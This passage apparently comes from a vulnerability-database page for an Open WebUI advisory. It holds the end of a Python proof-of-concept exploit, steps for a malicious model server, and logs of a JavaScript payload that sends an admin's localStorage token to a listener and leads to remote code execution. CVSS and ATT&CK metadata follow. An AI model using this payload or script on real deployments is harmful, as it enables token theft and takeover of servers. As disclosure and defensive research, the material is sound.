\u002Fetc\u002Fpasswd\\n\")\n        else:\n            print(f\"{Colors.FAIL}[!] Web shell creation failed{Colors.ENDC}\")\n\n    else:\n        # Default: Command execution PoC\n        command = args.command if args.command else 'whoami && hostname && id'\n\n        # Choose function based on --tool flag\n        if args.tool:\n            success = create_tool_command_execution(captured_token, command)\n            log_grep = \"AUTO_EXPLOIT_TOOL_OUTPUT\"\n        else:\n            success = create_command_execution(captured_token, command)\n            log_grep = \"AUTO_EXPLOIT_OUTPUT\"\n\n        if success:\n            total_time = time.time() - start_time\n            print(f\"\\n{Colors.OKGREEN}{Colors.BOLD}[+] CODE EXECUTION ACHIEVED!{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Command: {command}{Colors.ENDC}\")\n            print(f\"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}\")\n            print(f\"\\n{Colors.WARNING}[*] Check Open WebUI backend logs for output:{Colors.ENDC}\")\n            print(f\"    docker logs open-webui-backend -f | grep {log_grep}\\n\")\n        else:\n            print(f\"{Colors.FAIL}[!] Exploitation failed{Colors.ENDC}\")\n\n    print(f\"{Colors.HEADER}{'='*60}\")\n    print(f\"  Exploit Complete - From Malicious Model Server to RCE in seconds\")\n    print(f\"{'='*60}{Colors.ENDC}\\n\")\n\nif __name__ == '__main__':\n    try:\n        main()\n    except KeyboardInterrupt:\n        print(f\"\\n\\n{Colors.WARNING}[!] Interrupted{Colors.ENDC}\\n\")\n        sys.exit(0)\n\n\n```\nStart: \n`uv venv`\n`uv pip install requests`\n`uv run python autoauto_exploit.py`\n\n\nStep 3: Enable Direct Connections and Add Malicious Model\n\n1. Login to Open WebUI as admin\n2. Go to Admin Panel → Settings → Connections\n3. Enable \"Direct Connections\" toggle\n4. Click \"Add Connection\"\n5. Enter:\n   - Name: Test Model\n   - Base URL: http:\u002F\u002Fhost.docker.internal:8000 (for Docker) OR http:\u002F\u002Flocalhost:8000\n   - API Key: any-value\n6. Enable the connection and Save\n\n\nStep 4: Trigger Exploitation\n\n1. In Open WebUI chat interface\n2. Select \"gpt-4-turbo-preview\" from model dropdown\n3. Type any message: \"Hello\"\n4. Press Send\n\n\u003Cimg width=\"5986\" height=\"3074\" alt=\"CleanShot 2025-10-10 at 10 44 40@2x\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Fed141290-2e5c-45e4-8cc6-82d3c604cf86\" \u002F>\n\nEXPECTED RESULTS:\n\nTerminal 2 (node server.js):\n```\nnode server.js\n\n============================================================\n[*] Malicious OpenAI-Compatible Model Server\n[*] PoC for Open WebUI XSS to RCE Vulnerability\n============================================================\n[*] Listening on http:\u002F\u002Flocalhost:8000\n[*] Endpoints:\n    - POST \u002Fv1\u002Fchat\u002Fcompletions (malicious)\n    - GET  \u002Fv1\u002Fmodels\n[*] Attack Mode: TOKEN_THEFT\n[*] Payload: Steal localStorage.token and exfiltrate\n[*] Exfiltration Target: http:\u002F\u002Flocalhost:8081\n============================================================\n\n[✓] Server ready to exploit Open WebUI\n[*] Press Ctrl+C to stop\n\n[2025-10-10T07:01:52.747Z] GET \u002Fmodels\n[2025-10-10T07:01:53.093Z] POST \u002Fchat\u002Fcompletions\n    Body: {\"stream\":true,\"model\":\"gpt-4-turbo-preview\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}...\n\n------------------------------------------------------------\n[!] EXPLOIT TRIGGERED\n[!] Victim sent message: \"hi\"\n[!] Injecting malicious SSE event...\n------------------------------------------------------------\n\n[!] Sending malicious execute event:\n{\n  \"event\": {\n    \"type\": \"execute\",\n    \"data\": {\n      \"code\": \"await fetch('http:\u002F\u002Flocalhost:8081\u002Fleak?token=' + encodeURIComponent(localStorage.token))\"\n    }\n  }\n}\n[✓] Malicious payload delivered successfully\n[*] Waiting for exfiltrated data at listener...\n\n[2025-10-10T07:01:53.733Z] POST \u002Fchat\u002Fcompletions\n    Body: {\"model\":\"gpt-4-turbo-preview\",\"messages\":[{\"role\":\"user\",\"content\":\"### Task:\\nSuggest 3-5 relevant...\n\n------------------------------------------------------------\n[!] EXPLOIT TRIGGERED\n```\n\nTerminal 3 (uv run python auto_exploit.py):\n```\nuv run python auto_exploit.py\n\n============================================================\n  Open WebUI - Automated Token to RCE Exploit\n  Time to Shell: ~5 seconds from prompt to shell\n============================================================\n\n[*] Starting token capture listener on port 8081...\n[+] Listener ready\n[*] Admin must start a chat with malicious model\n\n[~] Listening for token on http:\u002F\u002F0.0.0.0:8081\u002Fleak\n\n\n============================================================\n[10:01:53] TOKEN CAPTURED!\n============================================================\n[*] Token length: 141 chars\n[*] Source: 127.0.0.1\n\n[10:01:53] Verifying token...\n[+] Token valid!\n[*] Exploitation method: Functions API\n[*] Vulnerable code: plugin.py:145 (exec)\n\n[10:01:53] Weaponizing token...\n\n[+] CODE EXECUTION ACHIEVED!\n[+] Method: Functions API\n[+] Command: whoami && hostname && id\n[+] Total time: 10.40 seconds\n\n[*] Check Open WebUI backend logs for output:\n    docker logs open-webui -f | grep AUTO_EXPLOIT_OUTPUT\n\n============================================================\n  Exploit Complete - From Malicious Model Server to RCE in seconds\n============================================================\n\n\n\u003Cimg width=\"5996\" height=\"3088\" alt=\"CleanShot 2025-10-10 at 10 46 17@2x\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F2ef54b7d-314e-4376-ab15-840dc65ea778\" \u002F>\n\n```\n\nStep 5: Verify Token Theft\n\ncurl -H \"Authorization: Bearer $(cat stolen_token.txt)\" \\\n     'http:\u002F\u002Flocalhost:3000\u002Fapi\u002Fv1\u002Fauths\u002F'\n\nExpected output:\n{\n  \"id\": \"...\",\n  \"email\": \"admin@example.com\",\n  \"role\": \"admin\",\n  \"token_type\": ...\n}\n\n\nEXPLOITATION TIMELINE:\n- T+0s: User sends message\n- T+1s: Malicious SSE event injected  \n- T+2s: JavaScript executes in browser\n- T+3s: Token exfiltrated to attacker\n- T+4s: Token captured and validated\n\nTotal time: \u003C 5 seconds from first message\n\nDOCKER CONFIGURATION NOTE:\nFor Docker deployments, use host.docker.internal:8000 to reach the host machine \nwhere the malicious server runs.\n\nAUTOMATED EXPLOITATION:\nA complete automated exploit script is available that captures the token and \nimmediately weaponizes it for RCE. Contact for full exploit code.\n\n### Impact\nVULNERABILITY TYPE: Code Injection via Untrusted External Data Source\n\nWHO IS IMPACTED:\n\n   - All users who enable Direct Connections feature\n   - Organizations allowing external model endpoints\n   - Users adding local models (Ollama, LM Studio, custom APIs)\n   - Development and testing environments\n   - Direct Connections is admin-controllable but affects all users once enabled\n   - Common in organizations using \"bring your own model\" policies\n   - Social engineering success rate is high (\"Try my free GPT-4\")\n   - Feature is designed for external connections, making attacks plausible\n\nATTACK SCENARIOS:\n\nScenario 1: Corporate Espionage\n- Attacker targets company using Open WebUI\n- Posts \"free GPT-4 alternative\" on Reddit\u002FHackerNews  \n- Company employees add the malicious model\n- Multiple tokens stolen including admin\n- Full access to company's AI conversations and data\n\nScenario 2: Supply Chain Attack\n- MSP hosts Open WebUI for 50 clients\n- MSP employee tests malicious model\n- Admin token stolen\n- Attacker gains access to all 50 client instances\n\nScenario 3: Insider Threat Amplification\n- Disgruntled employee with user account\n- Deploys malicious model\n- Shares in company Slack: \"Cool new model!\"\n- Admin tests it, token stolen\n- Employee escalates to admin privileges\n\n**Please note that once this vulnerability is fixed, we are going to release a blog. I work as a security researcher for Cato Networks.**","2025-11-07T17:37:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":46,"privilegesRequired":45,"confidentialityImpact":42},"UNCHANGED","3.1",7.3,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:N","REQUIRED","LOW","NONE",true,[49,50,51,52],"CWE-830","CWE-501","CWE-95","CWE-829",[54,55,56],"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","cpe:2.3:a:open-webui:open-webui:*:*:*:*:*:*:*:*","cpe:2.3:a:open-webui:open-webui:0.6.34:*:*:*:*:*:*:*",[58,59],"Openwebui Open Webui","Open-Webui Open-Webui",[61,62,63,64],"https:\u002F\u002Fgithub.com\u002Fopen-webui\u002Fopen-webui\u002Fcommit\u002F8af6a4cf21b756a66cd58378a01c60f74c39b7ca","https:\u002F\u002Fgithub.com\u002Fopen-webui\u002Fopen-webui\u002Fsecurity\u002Fadvisories\u002FGHSA-cm35-v4vp-5xvx","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-64496","https:\u002F\u002Fgithub.com\u002Fopen-webui\u002Fopen-webui",0.72,0.07228,0.94279,false,{"timestamp":70,"automatable":71,"tech_impact":72,"exploitation":73,"cisa_decision":74,"cisa_remediation_timeline":78},"2025-11-13T21:37:56.285429Z","no","total","poc",{"vector":75,"decision":76,"priority":77},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T03:15:34.441311\u002F","attend","medium","14D",[80,86,95,101],{"name":81,"source":82,"tactics":83,"technique_id":85},"Exploit Public-Facing Application","attack_vector",[84],"initial-access","T1190",{"name":87,"source":88,"cwe_ids":89,"tactics":90,"capec_ids":92,"technique_id":94},"HTML Smuggling","capec",[51],[91],"stealth",[93],"CAPEC-35","T1027.006",{"name":96,"source":88,"cwe_ids":97,"tactics":98,"capec_ids":99,"technique_id":100},"Embedded Payloads",[51],[91],[93],"T1027.009",{"name":102,"source":88,"cwe_ids":103,"tactics":104,"capec_ids":105,"technique_id":106},"Resource Forking",[51],[91],[93],"T1564.009",[108],{"link":62},{"count":110,"next":111,"previous":6,"results":112},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[113,121,129],{"id":114,"title":115,"summary":116,"published_at":117,"type":118,"link":119,"image_url":120},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":122,"title":123,"summary":124,"published_at":125,"type":126,"link":127,"image_url":128},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":130,"title":131,"summary":132,"published_at":133,"type":134,"link":135,"image_url":136},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]